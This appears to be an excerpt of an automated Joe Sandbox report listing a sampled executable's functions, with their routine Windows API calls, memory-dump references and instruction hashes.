                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$EnterH_prologLeaveTextWindow
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 374128308-0
                                                                                                                                                                                                                                                                    • Opcode ID: 15d7bf0ead2b949489f1987821cf377c6e6b3b97d6d35836e15b036c7172773c
                                                                                                                                                                                                                                                                    • Instruction ID: d39cc9f6fca79406fbb3b401cf00bfb474f5d87f4ae26e150c93d75c4e9646f4
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 15d7bf0ead2b949489f1987821cf377c6e6b3b97d6d35836e15b036c7172773c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6F3141719002099ADF15FBE1C95AAEEB7B8AF14308F40452EE216731D1DB786A8ACB54
                                                                                                                                                                                                                                                                    Function 0040FBA5 Relevance: 3.0, APIs: 2, Instructions: 48COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0040FBAA
                                                                                                                                                                                                                                                                      • Part of subcall function 0040409F: __EH_prolog.LIBCMT ref: 004040A4
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,0042D058), ref: 0040FC09
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrowfree
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1371406966-0
                                                                                                                                                                                                                                                                    • Opcode ID: 3f14d53bb7006caf942ecbfa3bc080ad100edca6f68a3b7550ee6a9b256ce240
                                                                                                                                                                                                                                                                    • Instruction ID: 16eaf29c54af9fd5a5c14dc53e1e8d9cf832cff8b56e3ecc3851418d62eb12c0
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3f14d53bb7006caf942ecbfa3bc080ad100edca6f68a3b7550ee6a9b256ce240
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FA010475A40604AACB25EF21D841ADEBBE1FF95318F10852FE982A36E1CB785509CB54
                                                                                                                                                                                                                                                                    Function 0041B162 Relevance: 3.0, APIs: 2, Instructions: 39COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0041B167
                                                                                                                                                                                                                                                                      • Part of subcall function 0041AE90: __EH_prolog.LIBCMT ref: 0041AE95
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 0041B1B2
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrow
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2366012087-0
                                                                                                                                                                                                                                                                    • Opcode ID: 1695a680a1d969f7b28c244bb0e9292f997a9061eba49bf5821ff776536a7d5d
                                                                                                                                                                                                                                                                    • Instruction ID: d6663d215504daade4a0814986f461573b085177532fd56087fb16b77d1a01e4
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1695a680a1d969f7b28c244bb0e9292f997a9061eba49bf5821ff776536a7d5d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B001AD36504288BFDF12CF94C815BEE7FB4EF45364F44805BF9445A211C3BAA990CBA9
                                                                                                                                                                                                                                                                    Function 004046A0 Relevance: 3.0, APIs: 2, Instructions: 38COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SetFilePointer.KERNELBASE(?,?,?,?), ref: 004046BC
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?), ref: 004046C9
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2976181284-0
                                                                                                                                                                                                                                                                    • Opcode ID: ce76c45c79387188544dac6ab8081ae81b82b47b986f16ccca57cf2cdae9824d
                                                                                                                                                                                                                                                                    • Instruction ID: 45a8e8b6cf1f7ccd1e79813af528ea68fe0f5ec3170a7966b94e64580c77e07e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ce76c45c79387188544dac6ab8081ae81b82b47b986f16ccca57cf2cdae9824d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3EF0A971A00208ABCB10CF28DC04BDA7BE9AF45310F108565FA15E72E0E6769911AAA8
                                                                                                                                                                                                                                                                    Function 00426100 Relevance: 3.0, APIs: 2, Instructions: 23COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • _beginthreadex.MSVCRT ref: 00426114
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,00000000,00000000,00000000), ref: 00426128
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorLast_beginthreadex
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 4034172046-0
                                                                                                                                                                                                                                                                    • Opcode ID: 075f5cf4b7ae2df72a48aca91057b00348f8239fec1b4a17b7ae2c023a628535
                                                                                                                                                                                                                                                                    • Instruction ID: a745e6f39dfc886ca1c355a3062419dbb7d265752a9b5563f2922b04c614f285
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 075f5cf4b7ae2df72a48aca91057b00348f8239fec1b4a17b7ae2c023a628535
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 83E0E6B63042225AE3149A54AC05F77769CDB90745F84442EBA45C6185E6649910C769
                                                                                                                                                                                                                                                                    Function 00405893 Relevance: 3.0, APIs: 2, Instructions: 7COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetCurrentProcess.KERNEL32(?,?,004058B4), ref: 00405898
                                                                                                                                                                                                                                                                    • GetProcessAffinityMask.KERNEL32(00000000), ref: 0040589F
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Process$AffinityCurrentMask
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1231390398-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9e0810395d80602b49144d642d60a3fbc7d5546b35032bc074dd17f94df92988
                                                                                                                                                                                                                                                                    • Instruction ID: 07ee87926fc5390885ae6a9ef4862940daf2e417708100acc4bc86754a5c0598
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9e0810395d80602b49144d642d60a3fbc7d5546b35032bc074dd17f94df92988
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6CB092B1600104ABCE219BA09E0CD2B3B2CFA063413488468B215C1410D73AD0028BA4
                                                                                                                                                                                                                                                                    Function 004260C0 Relevance: 2.5, APIs: 2, Instructions: 19COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE(00000000,00000000,00415403,?,00000000,?,?,00000001,?,00415E9D,?,?,?,?,00000000,00000000), ref: 004260CA
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00000001,?,00415E9D,?,?,?,?,00000000,00000000,00000000), ref: 004260D4
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CloseErrorHandleLast
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 918212764-0
                                                                                                                                                                                                                                                                    • Opcode ID: 6930ff30df331d202013597b50e2460f2f9f65bd4af3fac93faefac15026e19f
                                                                                                                                                                                                                                                                    • Instruction ID: e8355dbb86a436ddff0d02c47fc6e44e6db67534675f5c1b1e52b211b46bdab5
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6930ff30df331d202013597b50e2460f2f9f65bd4af3fac93faefac15026e19f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 59D09E3131413147EB719F79B90879737DCDF00750F46886EB454C2280EB69CC82D698
                                                                                                                                                                                                                                                                    Function 0040209F Relevance: 2.5, APIs: 2, Instructions: 15COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrowmalloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2436765578-0
                                                                                                                                                                                                                                                                    • Opcode ID: f0e3146a48a8fd5a9caeb8160e54a99c42929bd4876ad2dc848b03b9bc8837fe
                                                                                                                                                                                                                                                                    • Instruction ID: db868a023cbe82a20e092e141f0b24b0fdfe36251f968b2d368590a878734370
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f0e3146a48a8fd5a9caeb8160e54a99c42929bd4876ad2dc848b03b9bc8837fe
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DED0A73120538C7ACF00AFA1A814D9A3F6CD900664B505027F9188E255D635D3918754
                                                                                                                                                                                                                                                                    Function 0040A9C5 Relevance: 2.4, APIs: 1, Instructions: 927COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0040A9CA
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A774: __EH_prolog.LIBCMT ref: 0040A779
                                                                                                                                                                                                                                                                      • Part of subcall function 0040D6BB: __EH_prolog.LIBCMT ref: 0040D6C0
                                                                                                                                                                                                                                                                      • Part of subcall function 0040D6BB: wcscmp.MSVCRT ref: 0040D715
                                                                                                                                                                                                                                                                      • Part of subcall function 0040D844: __EH_prolog.LIBCMT ref: 0040D849
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                      • Part of subcall function 004062FD: __EH_prolog.LIBCMT ref: 00406302
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A826: __EH_prolog.LIBCMT ref: 0040A82B
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$freewcscmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 197229272-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9a76328891e85eb16475d4aad2783b35804f9d4c1521063f7fec60995b1f64cd
                                                                                                                                                                                                                                                                    • Instruction ID: 8a5c69d48e375c736b3c549cf63a4024f28e307410f2f61dcbe552af711489ef
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9a76328891e85eb16475d4aad2783b35804f9d4c1521063f7fec60995b1f64cd
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5F72AE70900345AFCB21EFA4C884AAEBBB5AF44304F14847FE546B73D1DB39A945CB5A
                                                                                                                                                                                                                                                                    Function 00417988 Relevance: 2.1, APIs: 1, Instructions: 603COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 2f4e3cd5aa09e9cc5e9d2d3fd6e1668c24fbb861068f0b01bc7d28ab77dff16e
                                                                                                                                                                                                                                                                    • Instruction ID: d5a285f0bc552b8b7257e8b4eff5a991c2d77d430435a7ef91d57c0f12f629af
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2f4e3cd5aa09e9cc5e9d2d3fd6e1668c24fbb861068f0b01bc7d28ab77dff16e
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 41428270904249DFDF11CFA8C584BDEBBB5AF49304F24809EE445AB381D779AE81CB25
                                                                                                                                                                                                                                                                    Function 0040F201 Relevance: 2.0, APIs: 1, Instructions: 486COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 6a6bfa346cb116e77eab15bd42199f8b69bf3588869fad6f12522d0ee9afb30c
                                                                                                                                                                                                                                                                    • Instruction ID: d3adf3081eca698be4950953f5a69bb5c4dbc565ebdef17475c2e61f9f430dce
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6a6bfa346cb116e77eab15bd42199f8b69bf3588869fad6f12522d0ee9afb30c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 09127E70900209DFCF20DFA4C984AAEBBB5AF45314F2441BAE445BB2D1D739AE4ACB55
                                                                                                                                                                                                                                                                    Function 0041AE90 Relevance: 1.7, APIs: 1, Instructions: 222COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 429c845b737d3a3ec3da8e73c6ab50cf5977866cbb781a9eb54319fed91878b3
                                                                                                                                                                                                                                                                    • Instruction ID: 7b051d524c3931ce72c5de269725950464170dd64dfdc97f34d668c0b8dbd311
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 429c845b737d3a3ec3da8e73c6ab50cf5977866cbb781a9eb54319fed91878b3
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B8919D70A00649EFCF25DFA9C480AEEFBB1BF09304F10452EE459A3311D739A991CB96
                                                                                                                                                                                                                                                                    Function 00415C4B Relevance: 1.7, APIs: 1, Instructions: 190COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00415C50
                                                                                                                                                                                                                                                                      • Part of subcall function 00415F83: __EH_prolog.LIBCMT ref: 00415F88
                                                                                                                                                                                                                                                                      • Part of subcall function 00403CF7: GetCurrentDirectoryW.KERNEL32(00000105,00000000,?,00000000), ref: 00403D22
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$CurrentDirectoryfree
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1231661175-0
                                                                                                                                                                                                                                                                    • Opcode ID: d0edc67aa5f9b1fcb4d24c49f7ad75f9f855041147a84c69d2f7452d60d7532f
                                                                                                                                                                                                                                                                    • Instruction ID: 7debb9337efdd19946313eadcdbbbf78379ce43abd9748f45caf36e0a2aa76c7
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d0edc67aa5f9b1fcb4d24c49f7ad75f9f855041147a84c69d2f7452d60d7532f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DB81AC31901249DFCF25DFA4D941ADDBBB0AF58308F1040AEE449B7292DB789E85CF59
                                                                                                                                                                                                                                                                    Function 0040EBBF Relevance: 1.7, APIs: 1, Instructions: 180COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0040EBC4
                                                                                                                                                                                                                                                                      • Part of subcall function 0040E6A4: __EH_prolog.LIBCMT ref: 0040E6A9
                                                                                                                                                                                                                                                                      • Part of subcall function 0040C2D4: __EH_prolog.LIBCMT ref: 0040C2D9
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2654054672-0
                                                                                                                                                                                                                                                                    • Opcode ID: 6619befb1ebc227af43272af603172da6a50c5b69f4940ec684c93f8b44368ea
                                                                                                                                                                                                                                                                    • Instruction ID: cc73b617265231ea22e1c3340aa5651dca134b7bbb60d95880c4c50a23da4c84
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6619befb1ebc227af43272af603172da6a50c5b69f4940ec684c93f8b44368ea
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 40617071600206EFCB20EFA2C895EAEB7A9EF54308F10487FE145B72D1DB79A945CB54
                                                                                                                                                                                                                                                                    Function 00418AD2 Relevance: 1.6, APIs: 1, Instructions: 134COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00418AD7
                                                                                                                                                                                                                                                                      • Part of subcall function 0041B162: __EH_prolog.LIBCMT ref: 0041B167
                                                                                                                                                                                                                                                                      • Part of subcall function 0041B162: _CxxThrowException.MSVCRT(?,00430368), ref: 0041B1B2
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
